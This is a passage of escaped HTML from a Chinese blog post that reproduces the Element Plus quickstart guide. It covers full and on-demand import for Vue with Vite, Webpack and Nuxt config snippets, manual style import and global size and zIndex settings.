href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\" class=\"headerlink\" title=\"快速开始#\"\u003e\u003c/a\u003e快速开始\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E9%80%9F%E5%BC%80%E5%A7%8B\"\u003e#\u003c/a\u003e\u003c/h1\u003e\u003cp\u003e本节将介绍如何在项目中使用 Element Plus。\u003c/p\u003e\u003ch2 id=\"用法\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E7%94%A8%E6%B3%95\" class=\"headerlink\" title=\"用法#\"\u003e\u003c/a\u003e用法\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E7%94%A8%E6%B3%95\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003ch3 id=\"完整引入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\" class=\"headerlink\" title=\"完整引入#\"\u003e\u003c/a\u003e完整引入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%AE%8C%E6%95%B4%E5%BC%95%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e如果你对打包后的文件大小不是很在乎,那么使用完整导入会更方便。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// main.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/dist/index.css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.mount(\u0026#39;#app\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"Volar-支持\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Volar-%E6%94%AF%E6%8C%81\" class=\"headerlink\" title=\"Volar 支持#\"\u003e\u003c/a\u003eVolar 支持\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#volar-%E6%94%AF%E6%8C%81\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e如果您使用 Volar,请在 \u003ccode\u003etsconfig.json\u003c/code\u003e 中通过 \u003ccode\u003ecompilerOptions.type\u003c/code\u003e 指定全局组件类型。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// tsconfig.json\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;compilerOptions\u0026#34;: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026#34;types\u0026#34;: [\u0026#34;element-plus/global\u0026#34;]\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"按需导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"按需导入#\"\u003e\u003c/a\u003e按需导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%8C%89%E9%9C%80%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003e您需要使用额外的插件来导入要使用的组件。\u003c/p\u003e\u003ch4 id=\"自动导入推荐\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5%E6%8E%A8%E8%8D%90\" class=\"headerlink\" title=\"自动导入推荐#\"\u003e\u003c/a\u003e自动导入推荐\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E8%87%AA%E5%8A%A8%E5%AF%BC%E5%85%A5-%E6%8E%A8%E8%8D%90\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e首先你需要安装\u003ccode\u003eunplugin-vue-components\u003c/code\u003e 和 \u003ccode\u003eunplugin-auto-import\u003c/code\u003e这两款插件\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D unplugin-vue-components unplugin-auto-import\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后把下列代码插入到你的 \u003ccode\u003eVite\u003c/code\u003e 或 \u003ccode\u003eWebpack\u003c/code\u003e 的配置文件中\u003c/p\u003e\u003ch5 id=\"Vite\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Vite\" class=\"headerlink\" title=\"Vite#\"\u003e\u003c/a\u003eVite\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#vite\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport AutoImport from \u0026#39;unplugin-auto-import/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport Components from \u0026#39;unplugin-vue-components/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElementPlusResolver } from \u0026#39;unplugin-vue-components/resolvers\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch5 id=\"Webpack\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Webpack\" class=\"headerlink\" title=\"Webpack#\"\u003e\u003c/a\u003eWebpack\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#webpack\"\u003e#\u003c/a\u003e\u003c/h5\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// webpack.config.js\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst AutoImport = require(\u0026#39;unplugin-auto-import/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst Components = require(\u0026#39;unplugin-vue-components/webpack\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst { ElementPlusResolver } = require(\u0026#39;unplugin-vue-components/resolvers\u0026#39;)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003emodule.exports = {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e AutoImport({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e Components({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e resolvers: [ElementPlusResolver()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }),\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e想了解更多打包 (\u003ca href=\"https://rollupjs.org/\"\u003eRollup\u003c/a\u003e, \u003ca href=\"https://cli.vuejs.org/\"\u003eVue CLI\u003c/a\u003e) 和配置工具,请参考 \u003ca href=\"https://github.com/antfu/unplugin-vue-components#installation\"\u003eunplugin-vue-components\u003c/a\u003e 和 \u003ca href=\"https://github.com/antfu/unplugin-auto-import#install\"\u003eunplugin-auto-import\u003c/a\u003e。\u003c/p\u003e\u003ch4 id=\"Nuxt\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#Nuxt\" class=\"headerlink\" title=\"Nuxt#\"\u003e\u003c/a\u003eNuxt\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#nuxt\"\u003e#\u003c/a\u003e\u003c/h4\u003e\u003cp\u003e关于 Nuxt 用户, 你只需要安装 \u003ccode\u003e@element-plus/nuxt\u003c/code\u003e 即可.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003enpm install -D @element-plus/nuxt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后将下面的代码写入你的配置文件.\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// nuxt.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineNuxtConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e modules: [\u0026#39;@element-plus/nuxt\u0026#39;],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e配置文档参考 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003ch3 id=\"手动导入\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\" class=\"headerlink\" title=\"手动导入#\"\u003e\u003c/a\u003e手动导入\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E6%89%8B%E5%8A%A8%E5%AF%BC%E5%85%A5\"\u003e#\u003c/a\u003e\u003c/h3\u003e\u003cp\u003eElement Plus 提供了基于 ES Module 的开箱即用的 \u003ca href=\"https://webpack.js.org/guides/tree-shaking/\"\u003eTree Shaking\u003c/a\u003e 功能。\u003c/p\u003e\u003cp\u003e但你需要安装 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus\"\u003eunplugin-element-plus\u003c/a\u003e 来导入样式。 配置文档参考 \u003ca href=\"https://github.com/element-plus/unplugin-element-plus#readme\"\u003edocs\u003c/a\u003e.\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eApp.vue\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026lt;template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u0026lt;el-button\u0026gt;我是 ElButton\u0026lt;/el-button\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/template\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e import { ElButton } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e export default {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e components: { ElButton },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u0026lt;/script\u0026gt;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e// vite.config.ts\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { defineConfig } from \u0026#39;vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;unplugin-element-plus/vite\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eexport default defineConfig({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e // ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e plugins: [ElementPlus()],\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e})\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWARNING\u003c/p\u003e\u003cp\u003e如果使用 \u003ccode\u003eunplugin-element-plus\u003c/code\u003e 并且只使用组件 API,你需要手动导入样式。\u003c/p\u003e\u003cp\u003eExample:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport \u0026#39;element-plus/es/components/message/style/css\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport { ElMessage } from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"快捷搭建项目模板\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\" class=\"headerlink\" title=\"快捷搭建项目模板#\"\u003e\u003c/a\u003e快捷搭建项目模板\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%BF%AB%E6%8D%B7%E6%90%AD%E5%BB%BA%E9%A1%B9%E7%9B%AE%E6%A8%A1%E6%9D%BF\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e我们提供了 \u003ca href=\"https://github.com/element-plus/element-plus-vite-starter\"\u003eVite 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于Nuxt 用户,我们有一个 \u003ca href=\"https://github.com/element-plus/element-plus-nuxt-starter\"\u003eNuxt 模板\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e对于 Laravel 用户,我们也准备了\u003ca href=\"https://github.com/element-plus/element-plus-in-laravel-starter\"\u003eLaravel 模板\u003c/a\u003e。\u003c/p\u003e\u003ch2 id=\"全局配置\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/09/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/ElementPlus%E5%BF%AB%E9%80%9F%E5%85%A5%E9%97%A8/#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"全局配置#\"\u003e\u003c/a\u003e全局配置\u003ca href=\"https://element-plus.gitee.io/zh-CN/guide/quickstart.html#%E5%85%A8%E5%B1%80%E9%85%8D%E7%BD%AE\"\u003e#\u003c/a\u003e\u003c/h2\u003e\u003cp\u003e在引入 ElementPlus 时,可以传入一个包含 \u003ccode\u003esize\u003c/code\u003e 和 \u003ccode\u003ezIndex\u003c/code\u003e 属性的全局配置对象。 \u003ccode\u003esize\u003c/code\u003e 用于设置表单组件的默认尺寸,\u003ccode\u003ezIndex\u003c/code\u003e 用于设置弹出组件的层级,\u003ccode\u003ezIndex\u003c/code\u003e 的默认值为 \u003ccode\u003e2000\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e完整引入:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eimport { createApp } from \u0026#39;vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport ElementPlus from \u0026#39;element-plus\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eimport App from \u0026#39;./App.vue\u0026#39;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003econst app = createApp(App)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eapp.use(ElementPlus, { size: \u0026#39;small\u0026#39;, zIndex: 3000 })\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e按需引入:\u003c/p\u003e\u003cfigure class=\"highlight 